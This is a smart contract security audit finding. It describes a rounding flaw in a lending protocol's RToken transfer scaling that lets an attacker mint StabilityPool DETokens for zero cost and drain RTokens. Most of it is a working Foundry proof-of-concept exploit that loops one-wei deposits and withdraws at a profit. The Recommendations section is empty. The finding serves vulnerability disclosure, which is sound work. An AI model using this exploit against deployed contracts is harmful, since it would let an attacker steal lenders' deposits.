Summary
When LendingPool
's liquidityIndex
is greater or equal than 2 RAY (2e27), an attacker can continuously mint 1 wei
of DeTokens
for no cost due to rounding in Solidity's division. Then the user can withdraw()
to burn DeTokens
to receive RTokens
.
Vulnerability Details
As time passes, interest for suppliers of the LendingPool
is accrued in reserve.liquidityIndex
.This is a value that can only increase.
In the deposit()
function in StabilityPool
, the transferFrom
function is used `rToken.safeTransferFrom(msg.sender, address(this), amount);
In the RToken
contract, the ERC20 _update()
function is overwritten as follows:
function _update(address from, address to, uint256 amount) internal override {
uint256 scaledAmount = amount.rayDiv(ILendingPool(_reservePool).getNormalizedIncome());
super._update(from, to, scaledAmount);
}
-
This means that if ILendingPool(_reservePool).getNormalizedIncome() >= 2RAY
, and when amount
is 1 wei
, scaledAmount
would be 0
. This effectively allows the attacker to deposit 0 RToken
in exchange for 1 DeToken
.
-
Attacker can then call withdraw()
on StabilityPool
to receive RTokens
.
-
This attack can even more cost effective on an L2, which in scope as the protocol is designed to be All EVM Compatible
.
Impact
StabilityPool can be drained of RTokens.
Lenders of the Stability Pool will lose deposited funds.
Tools Used
Manual Review
PoC
Below is the two Test Solidity Files done using Foundry
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "../../contracts/libraries/math/PercentageMath.sol";
import "../../contracts/libraries/math/WadRayMath.sol";
import {BaseSetup} from "./BaseSetup.t.sol";
contract UnlimitedDeTokens is BaseSetup{
using WadRayMath for uint256;
using PercentageMath for uint256;
using SafeCast for uint256;
using SafeERC20 for IERC20;
IERC20 mainnetUSDC = IERC20(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));
address mainnetUsdcCurveUSDVault = address(0x7cA00559B978CFde81297849be6151d3ccB408A9);
address curveUSDWhale = address(0x4e59541306910aD6dC1daC0AC9dFB29bD9F15c67);
address newUser = makeAddr("new user");
address newUser2 = makeAddr("new user2");
address newUser3 = makeAddr("new user3");
address newUser4 = makeAddr("new user4");
function setUp() public override {
string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
uint256 mainnetFork = vm.createFork(MAINNET_RPC_URL,19614507);
vm.selectFork(mainnetFork);
super.setUp();
vm.startPrank(owner);
uint256 housePrice = 1_000_000e18;
housePrices.setHousePrice(1,housePrice);
housePrices.setHousePrice(2,housePrice);
housePrices.setHousePrice(3,housePrice);
housePrices.setHousePrice(4,housePrice);
housePrices.setHousePrice(5,housePrice);
housePrices.setHousePrice(6,housePrice);
housePrices.setHousePrice(7,housePrice);
housePrices.setHousePrice(8,housePrice);
vm.stopPrank();
vm.startPrank(curveUSDWhale);
crvUSD.transfer(newUser, 5_000_000e18);
crvUSD.transfer(newUser2, 5_000_000e18);
crvUSD.transfer(newUser3, 10_000e18);
crvUSD.transfer(newUser4,10_000e18);
vm.stopPrank();
}
function makeLiquidityIndexNotRay() public {
vm.startPrank(newUser);
crvUSD.approve(address(lendingPool),type(uint256).max);
lendingPool.deposit(5_000_000e18);
vm.stopPrank();
vm.startPrank(newUser2);
crvUSD.approve(address(raacNFT),type(uint256).max);
raacNFT.mint(1, 1_000_000e18);
raacNFT.mint(2, 1_000_000e18);
raacNFT.mint(3, 1_000_000e18);
raacNFT.mint(4, 1_000_000e18);
raacNFT.mint(5, 1_000_000e18);
raacNFT.approve(address(lendingPool), 1);
raacNFT.approve(address(lendingPool), 2);
raacNFT.approve(address(lendingPool), 3);
raacNFT.approve(address(lendingPool), 4);
raacNFT.approve(address(lendingPool), 5);
lendingPool.depositNFT(1);
lendingPool.depositNFT(2);
lendingPool.depositNFT(3);
lendingPool.depositNFT(4);
lendingPool.depositNFT(5);
lendingPool.borrow(5_000_000e18);
assertEq(lendingPool.getNormalizedIncome(),1e27);
vm.stopPrank();
vm.startPrank(newUser3);
crvUSD.approve(address(lendingPool),10_000e18);
lendingPool.deposit(10_000e18);
vm.stopPrank();
skip(365 days * 3);
lendingPool.updateState();
}
function test_mintUnlimitedDeTokens() public {
makeLiquidityIndexNotRay();
vm.startPrank(newUser4);
crvUSD.approve(address(lendingPool),10_000e18);
lendingPool.deposit(10_000e18);
rToken.approve(address(stabilityPool),10_000e18);
stabilityPool.deposit(10_000e18);
vm.stopPrank();
vm.startPrank(newUser3);
uint256 originalRTokenBal = rToken.balanceOf(newUser3);
assertEq(deToken.balanceOf(newUser3),0);
rToken.approve(address(stabilityPool),type(uint256).max);
for(uint256 i; i<1000;i++){
stabilityPool.deposit(1);
}
uint256 afterDepositRTokenBal = rToken.balanceOf(newUser3);
assertEq(originalRTokenBal,afterDepositRTokenBal);
uint256 deTokenBal = deToken.balanceOf(newUser3);
assertEq(deTokenBal, 1000);
stabilityPool.withdraw(1000);
uint256 afterWithdrawRTokenBal = rToken.balanceOf(newUser3);
assertTrue(afterWithdrawRTokenBal>afterDepositRTokenBal);
}
}
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { RAACHousePrices } from "../../contracts/core/primitives/RAACHousePrices.sol";
import { DebtToken } from "../../contracts/core/tokens/DebtToken.sol";
import { DEToken } from "../../contracts/core/tokens/DEToken.sol";
import { IndexToken } from "../../contracts/core/tokens/IndexToken.sol";
import { LPToken } from "../../contracts/core/tokens/LPToken.sol";
import { RAACNFT } from "../../contracts/core/tokens/RAACNFT.sol";
import { RAACToken } from "../../contracts/core/tokens/RAACToken.sol";
import { RToken } from "../../contracts/core/tokens/RToken.sol";
import { veRAACToken } from "../../contracts/core/tokens/veRAACToken.sol";
import { Treasury } from "../../contracts/core/collectors/Treasury.sol";
import { FeeCollector } from "../../contracts/core/collectors/FeeCollector.sol";
import { Governance } from "../../contracts/core/governance/proposals/Governance.sol";
import { TimelockController } from "../../contracts/core/governance/proposals/TimelockController.sol";
import { BaseGauge } from "../../contracts/core/governance/gauges/BaseGauge.sol";
import { GaugeController } from "../../contracts/core/governance/gauges/GaugeController.sol";
import { RAACGauge } from "../../contracts/core/governance/gauges/RAACGauge.sol";
import { RWAGauge } from "../../contracts/core/governance/gauges/RWAGauge.sol";
import { BoostController } from "../../contracts/core/governance/boost/BoostController.sol";
import { RAACMinter } from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import { RAACReleaseOrchestrator } from "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
import { BaseChainlinkFunctionsOracle } from "../../contracts/core/oracles/BaseChainlinkFunctionsOracle.sol";
import { RAACHousePriceOracle } from "../../contracts/core/oracles/RAACHousePriceOracle.sol";
import { RAACPrimeRateOracle } from "../../contracts/core/oracles/RAACPrimeRateOracle.sol";
import { LendingPool } from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import { StabilityPool } from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import { MarketCreator } from "../../contracts/core/pools/StabilityPool/MarketCreator.sol";
import { NFTLiquidator } from "../../contracts/core/pools/StabilityPool/NFTLiquidator.sol";
contract BaseSetup is Test {
IERC20 baseUSDC = IERC20(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));
address baseUSDCWhale = address(0x20FE51A9229EEf2cF8Ad9E89d91CAb9312cF3b7A);
Treasury treasury;
Treasury repairFund;
FeeCollector feeCollector;
IERC20 crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E));
IERC20 basecrvUSD = IERC20(address(0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93));
RAACToken raacToken;
veRAACToken veRaacToken;
RAACNFT raacNFT;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
address mainnetChainlinkRouter = address(0x65Dcc24F8ff9e51F10DCc7Ed1e4e2A61e6E14bd6);
RAACReleaseOrchestrator raacReleaseOrchestrator;
RAACHousePrices housePrices;
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACMinter minter;
address owner;
address user1;
address user2;
address user3;
function setUp() public virtual {
owner = makeAddr("owner");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
vm.startPrank(owner);
console.log("base setup");
raacToken = new RAACToken(owner, 100,50);
veRaacToken = new veRAACToken(address(raacToken));
console.log("raacToken:", address(raacToken));
raacReleaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
housePrices = new RAACHousePrices(owner);
housePrices.setOracle(owner);
raacNFT = new RAACNFT(address(crvUSD),address(housePrices),owner);
rToken = new RToken("RToken", "RT", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
lendingPool = new LendingPool(address(crvUSD), address(rToken), address(debtToken), address(raacNFT), address(housePrices), 0.1e27);
console.log("lendingPool:",address(lendingPool));
treasury = new Treasury(owner);
repairFund = new Treasury(owner);
deToken = new DEToken("DEToken","DEToken",owner, address(rToken));
stabilityPool = new StabilityPool(owner);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
feeCollector = new FeeCollector(address(raacToken), address(veRaacToken), address(treasury), address(repairFund),owner);
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veRaacToken), true);
raacToken.manageWhitelist(owner, true);
raacToken.setMinter(owner);
raacToken.mint(user2, 1000e18);
raacToken.mint(user3, 1000e18);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);
feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), owner);
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(minter), address(crvUSD), address(lendingPool));
lendingPool.setStabilityPool(address(stabilityPool));
vm.stopPrank();
}
}
Recommendations